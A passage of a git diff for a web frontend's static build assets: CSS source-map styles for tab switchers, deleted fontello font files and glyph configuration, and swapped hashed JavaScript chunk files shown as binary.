.contents.scrollable-tabs {\n -ms-flex-preferred-size: 0;\n flex-basis: 0;\n}\n.tab-switcher.side-tabs {\n -ms-flex-direction: row;\n flex-direction: row;\n}\n@media all and (max-width: 800px) {\n .tab-switcher.side-tabs {\n overflow-x: auto;\n }\n}\n.tab-switcher.side-tabs > .contents {\n -ms-flex: 1 1 auto;\n flex: 1 1 auto;\n}\n.tab-switcher.side-tabs > .tabs {\n -ms-flex: 0 0 auto;\n flex: 0 0 auto;\n overflow-y: auto;\n overflow-x: hidden;\n -ms-flex-direction: column;\n flex-direction: column;\n}\n.tab-switcher.side-tabs > .tabs::after, .tab-switcher.side-tabs > .tabs::before {\n -ms-flex-negative: 0;\n flex-shrink: 0;\n -ms-flex-preferred-size: 0.5em;\n flex-basis: 0.5em;\n content: \"\";\n border-right: 1px solid;\n border-right-color: #222;\n border-right-color: var(--border, #222);\n}\n.tab-switcher.side-tabs > .tabs::after {\n -ms-flex-positive: 1;\n flex-grow: 1;\n}\n.tab-switcher.side-tabs > .tabs::before {\n -ms-flex-positive: 0;\n flex-grow: 0;\n}\n.tab-switcher.side-tabs > .tabs .tab-wrapper {\n min-width: 10em;\n display: -ms-flexbox;\n display: flex;\n -ms-flex-direction: column;\n flex-direction: column;\n}\n@media all and (max-width: 800px) {\n .tab-switcher.side-tabs > .tabs .tab-wrapper {\n min-width: 4em;\n }\n}\n.tab-switcher.side-tabs > .tabs .tab-wrapper:not(.active)::after {\n top: 0;\n right: 0;\n bottom: 0;\n border-right: 1px solid;\n border-right-color: #222;\n border-right-color: var(--border, #222);\n}\n.tab-switcher.side-tabs > .tabs .tab-wrapper::before {\n -ms-flex: 0 0 6px;\n flex: 0 0 6px;\n content: \"\";\n border-right: 1px solid;\n border-right-color: #222;\n border-right-color: var(--border, #222);\n}\n.tab-switcher.side-tabs > .tabs .tab-wrapper:last-child .tab {\n margin-bottom: 0;\n}\n.tab-switcher.side-tabs > .tabs .tab {\n -ms-flex: 1;\n flex: 1;\n box-sizing: content-box;\n min-width: 10em;\n min-width: 1px;\n border-top-right-radius: 0;\n border-bottom-right-radius: 0;\n padding-left: 1em;\n padding-right: calc(1em + 200px);\n margin-right: -200px;\n margin-left: 1em;\n}\n@media all and (max-width: 800px) {\n .tab-switcher.side-tabs > .tabs .tab {\n padding-left: 0.25em;\n padding-right: calc(.25em + 200px);\n margin-right: calc(.25em - 200px);\n margin-left: 0.25em;\n }\n .tab-switcher.side-tabs > .tabs .tab .text {\n display: none;\n }\n}\n.tab-switcher .contents {\n -ms-flex: 1 0 auto;\n flex: 1 0 auto;\n min-height: 0px;\n}\n.tab-switcher .contents .hidden {\n display: none;\n}\n.tab-switcher .contents .full-height:not(.hidden) {\n height: 100%;\n display: -ms-flexbox;\n display: flex;\n -ms-flex-direction: column;\n flex-direction: column;\n}\n.tab-switcher .contents .full-height:not(.hidden) > *:not(.mobile-label) {\n -ms-flex: 1;\n flex: 1;\n}\n.tab-switcher .contents.scrollable-tabs {\n overflow-y: auto;\n}\n.tab-switcher .tab {\n position: relative;\n white-space: nowrap;\n padding: 6px 1em;\n background-color: #182230;\n background-color: var(--tab, #182230);\n}\n.tab-switcher .tab, .tab-switcher .tab:active .tab-icon {\n color: #b9b9ba;\n color: var(--tabText, #b9b9ba);\n}\n.tab-switcher .tab:not(.active) {\n z-index: 4;\n}\n.tab-switcher .tab:not(.active):hover {\n z-index: 6;\n}\n.tab-switcher .tab.active {\n background: transparent;\n z-index: 5;\n color: #b9b9ba;\n color: var(--tabActiveText, #b9b9ba);\n}\n.tab-switcher .tab img {\n max-height: 26px;\n vertical-align: top;\n margin-top: -5px;\n}\n.tab-switcher .tabs {\n display: -ms-flexbox;\n display: flex;\n position: relative;\n box-sizing: border-box;\n}\n.tab-switcher .tabs::after, .tab-switcher .tabs::before {\n display: block;\n -ms-flex: 1 1 auto;\n flex: 1 1 auto;\n}\n.tab-switcher .tab-wrapper {\n position: relative;\n display: -ms-flexbox;\n display: flex;\n -ms-flex: 0 0 auto;\n flex: 0 0 auto;\n}\n.tab-switcher .tab-wrapper:not(.active)::after {\n content: \"\";\n position: absolute;\n z-index: 7;\n}\n.tab-switcher .mobile-label {\n padding-left: 0.3em;\n padding-bottom: 0.25em;\n margin-top: 0.5em;\n margin-left: 0.2em;\n margin-bottom: 0.25em;\n border-bottom: 1px solid var(--border, #222);\n}\n@media all and (min-width: 800px) {\n .tab-switcher .mobile-label {\n display: none;\n }\n}",".with-load-more-footer {\n padding: 10px;\n text-align: center;\n border-top: 1px solid;\n border-top-color: #222;\n border-top-color: var(--border, #222);\n}\n.with-load-more-footer .error {\n font-size: 14px;\n}\n.with-load-more-footer a {\n cursor: pointer;\n}"],"sourceRoot":""} \ No newline at end of file diff --git a/priv/static/static/font/fontello.1600365488745.eot b/priv/static/static/font/fontello.1600365488745.eot deleted file mode 100644 index 255f50372..000000000 Binary files a/priv/static/static/font/fontello.1600365488745.eot and /dev/null differ diff --git a/priv/static/static/font/fontello.1600365488745.svg b/priv/static/static/font/fontello.1600365488745.svg deleted file mode 100644 index 9eddf62ea..000000000 --- a/priv/static/static/font/fontello.1600365488745.svg +++ /dev/null @@ -1,140 +0,0 @@ - - - -Copyright (C) 2020 by original authors @ fontello.com - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/priv/static/static/font/fontello.1600365488745.ttf b/priv/static/static/font/fontello.1600365488745.ttf deleted file mode 100644 index 6bda99d50..000000000 Binary files a/priv/static/static/font/fontello.1600365488745.ttf and /dev/null differ diff --git a/priv/static/static/font/fontello.1600365488745.woff b/priv/static/static/font/fontello.1600365488745.woff deleted file mode 100644 index 11c866ae0..000000000 Binary files a/priv/static/static/font/fontello.1600365488745.woff and /dev/null differ diff --git a/priv/static/static/font/fontello.1600365488745.woff2 b/priv/static/static/font/fontello.1600365488745.woff2 deleted file mode 100644 index 06151d28c..000000000 Binary files a/priv/static/static/font/fontello.1600365488745.woff2 and /dev/null differ diff --git a/priv/static/static/fontello.1600365488745.css b/priv/static/static/fontello.1600365488745.css deleted file mode 100644 index 781ff7620..000000000 Binary files a/priv/static/static/fontello.1600365488745.css and /dev/null differ diff --git a/priv/static/static/fontello.json b/priv/static/static/fontello.json deleted file mode 100644 index b0136fd90..000000000 --- a/priv/static/static/fontello.json +++ /dev/null @@ -1,416 +0,0 @@ -{ - "name": "", - "css_prefix_text": "icon-", - "css_use_suffix": false, - "hinting": true, - "units_per_em": 1000, - "ascent": 857, - "glyphs": [ - { - "uid": "9bd60140934a1eb9236fd7a8ab1ff6ba", - "css": "spin4", - "code": 59444, - "src": "fontelico" - }, - { - "uid": "5211af474d3a9848f67f945e2ccaf143", - "css": "cancel", - "code": 59392, - "src": "fontawesome" - }, - { - "uid": "eeec3208c90b7b48e804919d0d2d4a41", - "css": "upload", - "code": 59393, - "src": "fontawesome" - }, - { - "uid": "2a6740fc2f9d0edea54205963f662594", - "css": "spin3", - "code": 59442, - "src": "fontelico" - }, - { - "uid": "c6be5a58ee4e63a5ec399c2b0d15cf2c", - "css": "reply", - "code": 61714, - "src": "fontawesome" - }, - { - "uid": "474656633f79ea2f1dad59ff63f6bf07", - "css": "star", - "code": 59394, - "src": "fontawesome" - }, - { - "uid": "d17030afaecc1e1c22349b99f3c4992a", - "css": "star-empty", - "code": 59395, - "src": "fontawesome" - }, - { - "uid": "09feb4465d9bd1364f4e301c9ddbaa92", - "css": "retweet", - "code": 59396, - "src": "fontawesome" - }, - { - "uid": "7fd683b2c518ceb9e5fa6757f2276faa", - "css": "eye-off", - "code": 59397, - "src": "fontawesome" - }, - { - "uid": "73ffeb70554099177620847206c12457", - "css": "binoculars", - "code": 61925, - "src": "fontawesome" - }, - { - "uid": "e99461abfef3923546da8d745372c995", - "css": "cog", - "code": 59399, - "src": "fontawesome" - }, - { - "uid": "1bafeeb1808a5fe24484c7890096901a", - "css": "user-plus", - "code": 62004, - "src": "fontawesome" - }, - { - "uid": "559647a6f430b3aeadbecd67194451dd", - "css": "menu", - "code": 61641, - "src": "fontawesome" - }, - { - "uid": "0d20938846444af8deb1920dc85a29fb", - "css": "logout", - "code": 59400, - "src": "fontawesome" - }, - { - "uid": "ccddff8e8670dcd130e3cb55fdfc2fd0", - "css": "down-open", - "code": 59401, - "src": "fontawesome" - }, - { - "uid": "44b9e75612c5fad5505edd70d071651f", - "css": "attach", - "code": 59402, - "src": "entypo" - }, - { - "uid": "e15f0d620a7897e2035c18c80142f6d9", - "css": "link-ext", - "code": 61582, - "src": "fontawesome" - }, - { - "uid": "e35de5ea31cd56970498e33efbcb8e36", - "css": "link-ext-alt", - "code": 61583, - "src": "fontawesome" - }, - { - "uid": "381da2c2f7fd51f8de877c044d7f439d", - "css": "picture", - "code": 59403, - "src": "fontawesome" - }, - { - "uid": "872d9516df93eb6b776cc4d94bd97dac", - "css": "video", - "code": 59404, - "src": "fontawesome" - }, - { - "uid": "399ef63b1e23ab1b761dfbb5591fa4da", - "css": "right-open", - "code": 59405, - "src": "fontawesome" - }, - { - "uid": "d870630ff8f81e6de3958ecaeac532f2", - "css": "left-open", - "code": 59406, - "src": "fontawesome" - }, - { - "uid": "fe6697b391355dec12f3d86d6d490397", - "css": "up-open", - "code": 59407, - "src": "fontawesome" - }, - { - "uid": "9c1376672bb4f1ed616fdd78a23667e9", - "css": "comment-empty", - "code": 61669, - "src": "fontawesome" - }, - { - "uid": "ccc2329632396dc096bb638d4b46fb98", - "css": "mail-alt", - "code": 61664, - "src": "fontawesome" - }, - { - "uid": "c1f1975c885aa9f3dad7810c53b82074", - "css": "lock", - "code": 59409, - "src": "fontawesome" - }, - { - "uid": "05376be04a27d5a46e855a233d6e8508", - "css": "lock-open-alt", - "code": 61758, - "src": "fontawesome" - }, - { - "uid": "197375a3cea8cb90b02d06e4ddf1433d", - "css": "globe", - "code": 59410, - "src": "fontawesome" - }, - { - "uid": "b3a9e2dab4d19ea3b2f628242c926bfe", - "css": "brush", - "code": 59411, - "src": "iconic" - }, - { - "uid": "9dd9e835aebe1060ba7190ad2b2ed951", - "css": "search", - "code": 59398, - "src": "fontawesome" - }, - { - "uid": "ca90da02d2c6a3183f2458e4dc416285", - "css": "adjust", - "code": 59414, - "src": "fontawesome" - }, - { - "uid": "5e2ab018e3044337bcef5f7e94098ea1", - "css": "thumbs-up-alt", - "code": 61796, - "src": "fontawesome" - }, - { - "uid": "c76b7947c957c9b78b11741173c8349b", - "css": "attention", - "code": 59412, - "src": "fontawesome" - }, - { - "uid": "1a5cfa186647e8c929c2b17b9fc4dac1", - "css": "plus-squared", - "code": 61694, - "src": "fontawesome" - }, - { - "uid": "44e04715aecbca7f266a17d5a7863c68", - "css": "plus", - "code": 59413, - "src": "fontawesome" - }, - { - "uid": "41087bc74d4b20b55059c60a33bf4008", - "css": "edit", - "code": 59415, - "src": "fontawesome" - }, - { - "uid": "5717236f6134afe2d2a278a5c9b3927a", - "css": "play-circled", - "code": 61764, - "src": "fontawesome" - }, - { - "uid": "d35a1d35efeb784d1dc9ac18b9b6c2b6", - "css": "pencil", - "code": 59416, - "src": "fontawesome" - }, - { - "uid": "266d5d9adf15a61800477a5acf9a4462", - "css": "chart-bar", - "code": 59419, - "src": "fontawesome" - }, - { - "uid": "d862a10e1448589215be19702f98f2c1", - "css": "smile", - "code": 61720, - "src": "fontawesome" - }, - { - "uid": "671f29fa10dda08074a4c6a341bb4f39", - "css": "bell-alt", - "code": 61683, - "src": "fontawesome" - }, - { - "uid": "5bb103cd29de77e0e06a52638527b575", - "css": "wrench", - "code": 59418, - "src": "fontawesome" - }, - { - "uid": "5b0772e9484a1a11646793a82edd622a", - "css": "pin", - "code": 59417, - "src": "fontawesome" - }, - { - "uid": "22411a88489225a018f68db737de3c77", - "css": "ellipsis", - "code": 61761, - "src": "custom_icons", - "selected": true, - "svg": { - "path": "M214 411V518Q214 540 199 556T161 571H54Q31 571 16 556T0 518V411Q0 388 16 373T54 357H161Q183 357 199 373T214 411ZM500 411V518Q500 540 484 556T446 571H339Q317 571 301 556T286 518V411Q286 388 301 373T339 357H446Q469 357 484 373T500 411ZM786 411V518Q786 540 770 556T732 571H625Q603 571 587 556T571 518V411Q571 388 587 373T625 357H732Q755 357 770 373T786 411Z", - "width": 785.7 - }, - "search": [ - "ellipsis" - ] - }, - { - "uid": "0bef873af785ead27781fdf98b3ae740", - "css": "bell-ringing-o", - "code": 59408, - "src": "custom_icons", - "selected": true, - "svg": { - "path": "M497.8 0C468.3 0 444.4 23.9 444.4 53.3 444.4 61.1 446.1 68.3 448.9 75 301.7 96.7 213.3 213.3 213.3 320 213.3 588.3 117.8 712.8 35.6 782.2 35.6 821.1 67.8 853.3 106.7 853.3H355.6C355.6 931.7 419.4 995.6 497.8 995.6S640 931.7 640 853.3H888.9C927.8 853.3 960 821.1 960 782.2 877.8 712.8 782.2 588.3 782.2 320 782.2 213.3 693.9 96.7 546.7 75 549.4 68.3 551.1 61.1 551.1 53.3 551.1 23.9 527.2 0 497.8 0ZM189.4 44.8C108.4 118.6 70.5 215.1 71.1 320.2L142.2 319.8C141.7 231.2 170.4 158.3 237.3 97.4L189.4 44.8ZM806.2 44.8L758.3 97.4C825.2 158.3 853.9 231.2 853.3 319.8L924.4 320.2C925.1 215.1 887.2 118.6 806.2 44.8ZM408.9 844.4C413.9 844.4 417.8 848.3 417.8 853.3 417.8 897.2 453.9 933.3 497.8 933.3 502.8 933.3 506.7 937.2 506.7 942.2S502.8 951.1 497.8 951.1C443.9 951.1 400 907.2 400 853.3 400 848.3 403.9 844.4 408.9 844.4Z", - "width": 1000 - }, - "search": [ - "bell-ringing-o" - ] - }, - { - "uid": "0b2b66e526028a6972d51a6f10281b4b", - "css": "zoom-in", - "code": 59420, - "src": "fontawesome" - }, - { - "uid": "0bda4bc779d4c32623dec2e43bd67ee8", - "css": "gauge", - "code": 61668, - "src": "fontawesome" - }, - { - "uid": "31972e4e9d080eaa796290349ae6c1fd", - "css": "users", - "code": 59421, - "src": "fontawesome" - }, - { - "uid": "e82cedfa1d5f15b00c5a81c9bd731ea2", - "css": "info-circled", - "code": 59423, - "src": "fontawesome" - }, - { - "uid": "w3nzesrlbezu6f30q7ytyq919p6gdlb6", - "css": "home-2", - "code": 59425, - "src": "typicons" - }, - { - "uid": "dcedf50ab1ede3283d7a6c70e2fe32f3", - "css": "chat", - "code": 59422, - "src": "fontawesome" - }, - { - "uid": "3a00327e61b997b58518bd43ed83c3df", - "css": "login", - "code": 59424, - "src": "fontawesome" - }, - { - "uid": "f3ebd6751c15a280af5cc5f4a764187d", - "css": "arrow-curved", - "code": 59426, - "src": "iconic" - }, - { - "uid": "0ddd3e8201ccc7d41f7b7c9d27eca6c1", - "css": "link", - "code": 59427, - "src": "fontawesome" - }, - { - "uid": "4aad6bb50b02c18508aae9cbe14e784e", - "css": "share", - "code": 61920, - "src": "fontawesome" - }, - { - "uid": "8b80d36d4ef43889db10bc1f0dc9a862", - "css": "user", - "code": 59428, - "src": "fontawesome" - }, - { - "uid": "12f4ece88e46abd864e40b35e05b11cd", - "css": "ok", - "code": 59431, - "src": "fontawesome" - }, - { - "uid": "4109c474ff99cad28fd5a2c38af2ec6f", - "css": "filter", - "code": 61616, - "src": "fontawesome" - }, - { - "uid": "9a76bc135eac17d2c8b8ad4a5774fc87", - "css": "download", - "code": 59429, - "src": "fontawesome" - }, - { - "uid": "f04a5d24e9e659145b966739c4fde82a", - "css": "bookmark", - "code": 59430, - "src": "fontawesome" - }, - { - "uid": "2f5ef6f6b7aaebc56458ab4e865beff5", - "css": "bookmark-empty", - "code": 61591, - "src": "fontawesome" - }, - { - "uid": "9ea0a737ccc45d6c510dcbae56058849", - "css": "music", - "code": 59432, - "src": "fontawesome" - }, - { - "uid": "1b5a5d7b7e3c71437f5a26befdd045ed", - "css": "doc", - "code": 59433, - "src": "fontawesome" - }, - { - "uid": "98d9c83c1ee7c2c25af784b518c522c5", - "css": "block", - "code": 59434, - "src": "fontawesome" - }, - { - "uid": "3e674995cacc2b09692c096ea7eb6165", - "css": "megaphone", - "code": 59435, - "src": "fontawesome" - } - ] -} \ No newline at end of file diff --git a/priv/static/static/js/10.46f441b948010eda4403.js b/priv/static/static/js/10.46f441b948010eda4403.js new file mode 100644 index 000000000..308d124c0 Binary files /dev/null and b/priv/static/static/js/10.46f441b948010eda4403.js differ diff --git a/priv/static/static/js/10.46f441b948010eda4403.js.map b/priv/static/static/js/10.46f441b948010eda4403.js.map new file mode 100644 index 000000000..e0623e6bf Binary files /dev/null and b/priv/static/static/js/10.46f441b948010eda4403.js.map differ diff --git a/priv/static/static/js/10.46fbbdfaf0d4800f349b.js b/priv/static/static/js/10.46fbbdfaf0d4800f349b.js deleted file mode 100644 index 0fd8463df..000000000 Binary files a/priv/static/static/js/10.46fbbdfaf0d4800f349b.js and /dev/null differ diff --git a/priv/static/static/js/10.46fbbdfaf0d4800f349b.js.map b/priv/static/static/js/10.46fbbdfaf0d4800f349b.js.map deleted file mode 100644 index bee2feb10..000000000 Binary files a/priv/static/static/js/10.46fbbdfaf0d4800f349b.js.map and /dev/null differ diff --git a/priv/static/static/js/11.708cc2513c53879a92cc.js b/priv/static/static/js/11.708cc2513c53879a92cc.js deleted file mode 100644 index 4fe316ecf..000000000 Binary files a/priv/static/static/js/11.708cc2513c53879a92cc.js and /dev/null differ diff --git a/priv/static/static/js/11.708cc2513c53879a92cc.js.map b/priv/static/static/js/11.708cc2513c53879a92cc.js.map deleted file mode 100644 index 64c9320c4..000000000 Binary files a/priv/static/static/js/11.708cc2513c53879a92cc.js.map and /dev/null differ diff --git a/priv/static/static/js/11.8ff1ed54814f2d34cb3e.js b/priv/static/static/js/11.8ff1ed54814f2d34cb3e.js new file mode 100644 index 000000000..cb57f2a65 Binary files /dev/null and b/priv/static/static/js/11.8ff1ed54814f2d34cb3e.js differ diff --git a/priv/static/static/js/11.8ff1ed54814f2d34cb3e.js.map b/priv/static/static/js/11.8ff1ed54814f2d34cb3e.js.map new file mode 100644 index 000000000..4ce6d7227 Binary files /dev/null and b/priv/static/static/js/11.8ff1ed54814f2d34cb3e.js.map differ diff --git a/priv/static/static/js/12.13204bdd0ad5703a3ea3.js b/priv/static/static/js/12.13204bdd0ad5703a3ea3.js new file mode 100644 index 000000000..a89bfeb67 Binary files /dev/null and b/priv/static/static/js/12.13204bdd0ad5703a3ea3.js differ diff --git a/priv/static/static/js/12.13204bdd0ad5703a3ea3.js.map b/priv/static/static/js/12.13204bdd0ad5703a3ea3.js.map new file mode 100644 index 000000000..366ec2927 Binary files /dev/null and b/priv/static/static/js/12.13204bdd0ad5703a3ea3.js.map differ diff --git a/priv/static/static/js/12.b3bf0bc313861d6ec36b.js b/priv/static/static/js/12.b3bf0bc313861d6ec36b.js deleted file mode 100644 index 4890ca10a..000000000 Binary files a/priv/static/static/js/12.b3bf0bc313861d6ec36b.js and /dev/null differ diff --git a/priv/static/static/js/12.b3bf0bc313861d6ec36b.js.map b/priv/static/static/js/12.b3bf0bc313861d6ec36b.js.map deleted file mode 100644 index 28545ac96..000000000 Binary files a/priv/static/static/js/12.b3bf0bc313861d6ec36b.js.map and /dev/null differ diff --git a/priv/static/static/js/13.adb8a942514d735722c4.js b/priv/static/static/js/13.adb8a942514d735722c4.js deleted file mode 100644 index 41abcb5a6..000000000 Binary files a/priv/static/static/js/13.adb8a942514d735722c4.js and /dev/null differ diff --git a/priv/static/static/js/13.adb8a942514d735722c4.js.map b/priv/static/static/js/13.adb8a942514d735722c4.js.map deleted file mode 100644 index 2b8ff6d6c..000000000 Binary files a/priv/static/static/js/13.adb8a942514d735722c4.js.map and /dev/null differ diff --git a/priv/static/static/js/13.e27c3eeddcc4b11c1f54.js b/priv/static/static/js/13.e27c3eeddcc4b11c1f54.js new file mode 100644 index 000000000..8cd482b41 Binary files /dev/null and b/priv/static/static/js/13.e27c3eeddcc4b11c1f54.js differ diff --git a/priv/static/static/js/13.e27c3eeddcc4b11c1f54.js.map b/priv/static/static/js/13.e27c3eeddcc4b11c1f54.js.map new file mode 100644 index 000000000..0c61c3fca Binary files /dev/null and b/priv/static/static/js/13.e27c3eeddcc4b11c1f54.js.map differ diff --git a/priv/static/static/js/14.273855b3e4e27ce80219.js b/priv/static/static/js/14.273855b3e4e27ce80219.js new file mode 100644 index 000000000..78c0bfebc Binary files /dev/null and b/priv/static/static/js/14.273855b3e4e27ce80219.js differ diff --git a/priv/static/static/js/14.273855b3e4e27ce80219.js.map b/priv/static/static/js/14.273855b3e4e27ce80219.js.map new file mode 100644 index 000000000..9ee527eaa Binary files /dev/null and b/priv/static/static/js/14.273855b3e4e27ce80219.js.map differ diff --git a/priv/static/static/js/14.d015d9b2ea16407e389c.js b/priv/static/static/js/14.d015d9b2ea16407e389c.js deleted file mode 100644 index 200a79625..000000000 Binary files a/priv/static/static/js/14.d015d9b2ea16407e389c.js and /dev/null differ diff --git a/priv/static/static/js/14.d015d9b2ea16407e389c.js.map b/priv/static/static/js/14.d015d9b2ea16407e389c.js.map deleted file mode 100644 index 49dab13f7..000000000 Binary files a/priv/static/static/js/14.d015d9b2ea16407e389c.js.map and /dev/null differ diff --git a/priv/static/static/js/15.19866e6a366ccf982284.js b/priv/static/static/js/15.19866e6a366ccf982284.js deleted file mode 100644 index 0cc2e266a..000000000 Binary files a/priv/static/static/js/15.19866e6a366ccf982284.js and /dev/null differ diff --git a/priv/static/static/js/15.19866e6a366ccf982284.js.map b/priv/static/static/js/15.19866e6a366ccf982284.js.map deleted file mode 100644 index 561ab7dcf..000000000 Binary files a/priv/static/static/js/15.19866e6a366ccf982284.js.map and /dev/null differ diff --git a/priv/static/static/js/15.afbe29b6665fcd015b2d.js b/priv/static/static/js/15.afbe29b6665fcd015b2d.js new file mode 100644 index 000000000..b83752240 Binary files /dev/null and b/priv/static/static/js/15.afbe29b6665fcd015b2d.js differ diff --git a/priv/static/static/js/15.afbe29b6665fcd015b2d.js.map b/priv/static/static/js/15.afbe29b6665fcd015b2d.js.map new file mode 100644 index 000000000..c7a0be582 Binary files /dev/null and b/priv/static/static/js/15.afbe29b6665fcd015b2d.js.map differ diff --git a/priv/static/static/js/16.38a984effd54736f6a2c.js b/priv/static/static/js/16.38a984effd54736f6a2c.js deleted file mode 100644 index b3cebb0bd..000000000 Binary files a/priv/static/static/js/16.38a984effd54736f6a2c.js and /dev/null differ diff --git a/priv/static/static/js/16.38a984effd54736f6a2c.js.map b/priv/static/static/js/16.38a984effd54736f6a2c.js.map deleted file mode 100644 index 68ee95f97..000000000 Binary files a/priv/static/static/js/16.38a984effd54736f6a2c.js.map and /dev/null differ diff --git a/priv/static/static/js/16.5e3f20da470591d0cabf.js b/priv/static/static/js/16.5e3f20da470591d0cabf.js new file mode 100644 index 000000000..e90ed4ca1 Binary files /dev/null and b/priv/static/static/js/16.5e3f20da470591d0cabf.js differ diff --git a/priv/static/static/js/16.5e3f20da470591d0cabf.js.map b/priv/static/static/js/16.5e3f20da470591d0cabf.js.map new file mode 100644 index 000000000..0c4d0e385 Binary files /dev/null and b/priv/static/static/js/16.5e3f20da470591d0cabf.js.map differ diff --git a/priv/static/static/js/17.44e90ef82ee2ef12dc3f.js b/priv/static/static/js/17.44e90ef82ee2ef12dc3f.js new file mode 100644 index 000000000..9b5adfd12 Binary files /dev/null and b/priv/static/static/js/17.44e90ef82ee2ef12dc3f.js differ diff --git a/priv/static/static/js/17.44e90ef82ee2ef12dc3f.js.map b/priv/static/static/js/17.44e90ef82ee2ef12dc3f.js.map new file mode 100644 index 000000000..1d191b94a Binary files /dev/null and b/priv/static/static/js/17.44e90ef82ee2ef12dc3f.js.map differ diff --git a/priv/static/static/js/17.9c25507194320db2e85b.js b/priv/static/static/js/17.9c25507194320db2e85b.js deleted file mode 100644 index 451bf8bd3..000000000 Binary files a/priv/static/static/js/17.9c25507194320db2e85b.js and /dev/null differ diff --git a/priv/static/static/js/17.9c25507194320db2e85b.js.map b/priv/static/static/js/17.9c25507194320db2e85b.js.map deleted file mode 100644 index f843d4400..000000000 Binary files a/priv/static/static/js/17.9c25507194320db2e85b.js.map and /dev/null differ diff --git a/priv/static/static/js/18.94946caca48930c224c7.js b/priv/static/static/js/18.94946caca48930c224c7.js deleted file mode 100644 index 5a1f40c6d..000000000 Binary files a/priv/static/static/js/18.94946caca48930c224c7.js and /dev/null differ diff --git a/priv/static/static/js/18.94946caca48930c224c7.js.map b/priv/static/static/js/18.94946caca48930c224c7.js.map deleted file mode 100644 index ad04b99ab..000000000 Binary files a/priv/static/static/js/18.94946caca48930c224c7.js.map and /dev/null differ diff --git a/priv/static/static/js/18.9a5b877f94b2b53065e1.js b/priv/static/static/js/18.9a5b877f94b2b53065e1.js new file mode 100644 index 000000000..c4aea5b25 Binary files /dev/null and b/priv/static/static/js/18.9a5b877f94b2b53065e1.js differ diff --git a/priv/static/static/js/18.9a5b877f94b2b53065e1.js.map b/priv/static/static/js/18.9a5b877f94b2b53065e1.js.map new file mode 100644 index 000000000..61d9a7d41 Binary files /dev/null and b/priv/static/static/js/18.9a5b877f94b2b53065e1.js.map differ diff --git a/priv/static/static/js/19.1fd4da643df0abf89122.js b/priv/static/static/js/19.1fd4da643df0abf89122.js new file mode 100644 index 000000000..c1ca1643b Binary files /dev/null and b/priv/static/static/js/19.1fd4da643df0abf89122.js differ diff --git a/priv/static/static/js/19.1fd4da643df0abf89122.js.map b/priv/static/static/js/19.1fd4da643df0abf89122.js.map new file mode 100644 index 000000000..010c8674d Binary files /dev/null and b/priv/static/static/js/19.1fd4da643df0abf89122.js.map differ diff --git a/priv/static/static/js/19.233c81ac2c28d55e9f13.js b/priv/static/static/js/19.233c81ac2c28d55e9f13.js deleted file mode 100644 index ace0a1d41..000000000 Binary files a/priv/static/static/js/19.233c81ac2c28d55e9f13.js and /dev/null differ diff --git a/priv/static/static/js/19.233c81ac2c28d55e9f13.js.map b/priv/static/static/js/19.233c81ac2c28d55e9f13.js.map deleted file mode 100644 index cd3f7354d..000000000 Binary files a/priv/static/static/js/19.233c81ac2c28d55e9f13.js.map and /dev/null differ diff --git a/priv/static/static/js/2.422e6c756ac673a6fd44.js b/priv/static/static/js/2.422e6c756ac673a6fd44.js new file mode 100644 index 000000000..9fb47e2bf Binary files /dev/null and b/priv/static/static/js/2.422e6c756ac673a6fd44.js differ diff --git a/priv/static/static/js/2.422e6c756ac673a6fd44.js.map b/priv/static/static/js/2.422e6c756ac673a6fd44.js.map new file mode 100644 index 000000000..92fdb4d2c Binary files /dev/null and b/priv/static/static/js/2.422e6c756ac673a6fd44.js.map differ diff --git a/priv/static/static/js/2.e852a6b4b3bba752b838.js b/priv/static/static/js/2.e852a6b4b3bba752b838.js deleted file mode 100644 index 42e446575..000000000 Binary files a/priv/static/static/js/2.e852a6b4b3bba752b838.js and /dev/null differ diff --git a/priv/static/static/js/2.e852a6b4b3bba752b838.js.map b/priv/static/static/js/2.e852a6b4b3bba752b838.js.map deleted file mode 100644 index d698f09e1..000000000 Binary files a/priv/static/static/js/2.e852a6b4b3bba752b838.js.map and /dev/null differ diff --git a/priv/static/static/js/20.818c38d27369c3a4d677.js b/priv/static/static/js/20.818c38d27369c3a4d677.js deleted file mode 100644 index 133eac52d..000000000 Binary files a/priv/static/static/js/20.818c38d27369c3a4d677.js and /dev/null differ diff --git a/priv/static/static/js/20.818c38d27369c3a4d677.js.map b/priv/static/static/js/20.818c38d27369c3a4d677.js.map deleted file mode 100644 index 696eab20f..000000000 Binary files a/priv/static/static/js/20.818c38d27369c3a4d677.js.map and /dev/null differ diff --git a/priv/static/static/js/20.a64fd29da59076399a27.js b/priv/static/static/js/20.a64fd29da59076399a27.js new file mode 100644 index 000000000..eae5b3947 Binary files /dev/null and b/priv/static/static/js/20.a64fd29da59076399a27.js differ diff --git a/priv/static/static/js/20.a64fd29da59076399a27.js.map b/priv/static/static/js/20.a64fd29da59076399a27.js.map new file mode 100644 index 000000000..b2917fa10 Binary files /dev/null and b/priv/static/static/js/20.a64fd29da59076399a27.js.map differ diff --git a/priv/static/static/js/21.243d9e6ebf469a2dc740.js b/priv/static/static/js/21.243d9e6ebf469a2dc740.js new file mode 100644 index 000000000..61633519b Binary files /dev/null and b/priv/static/static/js/21.243d9e6ebf469a2dc740.js differ diff --git a/priv/static/static/js/21.243d9e6ebf469a2dc740.js.map b/priv/static/static/js/21.243d9e6ebf469a2dc740.js.map new file mode 100644 index 000000000..3f98250fa Binary files /dev/null and b/priv/static/static/js/21.243d9e6ebf469a2dc740.js.map differ diff --git a/priv/static/static/js/21.ce4cda179d888ca6bc2a.js b/priv/static/static/js/21.ce4cda179d888ca6bc2a.js deleted file mode 100644 index 49700403c..000000000 Binary files a/priv/static/static/js/21.ce4cda179d888ca6bc2a.js and /dev/null differ diff --git a/priv/static/static/js/21.ce4cda179d888ca6bc2a.js.map b/priv/static/static/js/21.ce4cda179d888ca6bc2a.js.map deleted file mode 100644 index 124d58abc..000000000 Binary files a/priv/static/static/js/21.ce4cda179d888ca6bc2a.js.map and /dev/null differ diff --git a/priv/static/static/js/22.2ea93c6cc569ef0256ab.js b/priv/static/static/js/22.2ea93c6cc569ef0256ab.js deleted file mode 100644 index 1d2077720..000000000 Binary files a/priv/static/static/js/22.2ea93c6cc569ef0256ab.js and /dev/null differ diff --git a/priv/static/static/js/22.2ea93c6cc569ef0256ab.js.map b/priv/static/static/js/22.2ea93c6cc569ef0256ab.js.map deleted file mode 100644 index 773159f01..000000000 Binary files 